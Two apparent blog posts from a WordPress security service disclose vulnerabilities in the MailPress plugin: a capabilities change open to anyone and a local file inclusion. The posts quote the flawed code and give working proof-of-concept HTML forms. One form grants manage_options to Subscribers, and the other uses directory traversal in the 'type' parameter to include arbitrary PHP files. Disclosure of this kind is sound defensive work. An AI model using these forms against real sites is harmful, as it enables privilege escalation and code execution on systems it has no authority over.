14 Jul

Capabilities Change Vulnerability in MailPress

As detailed in other post about a vulnerability in the MailPress plugin, we recently had a request for a file from that plugin on this website, which since we are not using the plugin, is usually an indication that someone is probing for usage of a plugin before exploiting something in it. While we could not find a vulnerability that we think would be the one that a hacker would be trying to exploit, we did find a local file inclusion vulnerability that is serious and exploitable in the plugin’s default state. We also found a capabilities change vulnerability that is exploitable in the plugin when one of the the plugin’s built-in addons, Roles_and_capabilities, is enabled. That vulnerability would be very serious if non trusted users had accounts on the website .

As mentioned in greater detail in the other post, through the file /mp-includes/action.php it is possible for anyone to make requests to functions that have names that start “mp_action_”. One such action is mp_action_r_and_c(), located in the file /mp-content/add-ons/MailPress_roles_and_capabilities.php. The function has no security checks in place as you can see below, so anyone can add or remove capabilities to WordPress roles if the addon is enabled:

88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
public static function mp_action_r_and_c()
{
	$rcs_option = 'MailPress_r&c_' . $_POST['role'];
	$r = get_role($_POST['role']);
 
	$rcs = get_option($rcs_option);
	if (empty($rcs)) $rcs = array();
 
	if ($_POST['add'])
	{
		$rcs[$_POST['capability']] = 'on';
		if ($r) $r->add_cap($_POST['capability']);
	}
	else
	{
		unset ($rcs[$_POST['capability']] );
		if ($r) $r->remove_cap($_POST['capability']);
	}
	if (!add_option ($rcs_option, $rcs )) update_option ($rcs_option, $rcs);
 
	MP_::mp_die(1);
}

Using that someone with an account that has low level role could give that role capabilities that would normally only exist for higher level users. It also could be used to remove capabilities from higher level users, which could cause problems trying to manage a website.

Proof of Concept

The following proof of concept will add the “manage_options” capability to the Subscriber role.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/mailpress/mp-includes/action.php" method="POST" >
<input type="hidden" name="action" value="r-and-c" />
<input type="hidden" name="role" value="subscriber" />
<input type="hidden" name="capability" value="manage_options" />
<input type="hidden" name="add" value="true" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
14 Jul

Local File Inclusion (LFI) Vulnerability in MailPress

One of the things we do to protect our customers from vulnerabilities in WordPress plugins is to monitor our websites for activity indicating that someone is looking to exploit a vulnerability in a plugin. That recently has been allowing us to detect quite a few serious vulnerabilities that it looks like no one else is spotting, so our service is the only one that actual provides you any warning and therefore any protection against them until they are fixed.

Usually by just knowing that a plugin appears to be of interest to hackers we are able to identify a vulnerability that hackers would actually exploit and is likely the vulnerability that they are attempting to exploit. In the latest case we were not able to figure out what that might be due largely to the fact the plugin is so insecure it is hard to narrow down where we might need to look to figure out what it is they are targeting. We did find one vulnerability that is very serious and could be targeted with the plugin in its default state, but it is not a type of vulnerability that is often exploited, so if the plugin is being targeted by hackers there is likely something else out there as well.

The plugin in question is MailPress, which is currently removed not in the Plugin Directory, which could indicate that some vulnerability in it was already reported to the Plugin Directory and it was subsequently removed due to that. Or it could have been removed for some other reason. Looking at archive.org, the plugin was still in the Plugin Directory as of June 10.

The request we had was a GET request for the file /wp-content/plugins/mailpress/mp-includes/action.php. While it is possible the request was just to check for the existence of the plugin before exploiting the plugin through something else, that file provides access to a lot of insecure code. The file causes WordPress to load and creates a new instance of the plugins’ MP_Actions class:

2
3
4
5
6
7
//
include('../../../../wp-load.php');
//
include('../../../../wp-admin/includes/admin.php');
//
new MP_Actions();

That class is defined in the file /mp-includes/class/MP_Actions.class.php, when it is constructed the person sending the request is given access to the class’ functions and any functions that start “mp_action_”:

4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function __construct()
{
	switch (true)
	{
		case ( ( isset($_GET['tg']) ) && !( isset($_POST['action']) || isset($_GET['action']) ) ) :
			$action = 'tracking';
		break;
		case ( isset($_POST['action']) ) :
			$action = $_POST['action'];
		break;
		case ( isset($_GET['action']) ) :
			$action = $_GET['action'];
		break;
		default :
			MP_::mp_die(-1);
		break;
	}
	$action = str_replace('-', '_', $action);
 
	if ( method_exists($this, $action) ) call_user_func_array( array($this, $action), array() );
 
	do_action('mp_action_' . $action );
}

A lot of the functions made accessible through that don’t include the proper security checks, so there are lot of code that someone could potentially used for an exploit.

While looking over the code we found one possible vulnerability that is of the type that is frequently exploited, but found that one the plugin’s feature, which was required to be able to exploit, was broken, so the problems with the plugin are not just with its security.

One vulnerability that we found that is exploitable is a local file inclusion (LFI) vulnerability in the function theme_preview() in the class MP_Actions. At the end on the function it takes the value of the GET input “type” and places that in an include statement:

494
495
496
497
$type  = $_GET['type'];
$$type = $x->build_mail_content($type);
$$type = ('html' == $type) ? $x->process_img($$type, $x->mail->themedir, 'draft') : $$type;
include MP_ABSPATH . "mp-includes/html/{$type}.php";

Using directory traversal any .php file on the website could be included. That would cause the code in the included file to run, so it could be used load a .php file that is not directly accessible.

Proof of Concept

The following proof of concept will cause the file named lfi.php in the root directory of the WordPress installation to be included.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/mailpress/mp-includes/action.php?type=../../../../../lfi" method="POST" >
<input type="hidden" name="action" value="previewtheme" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>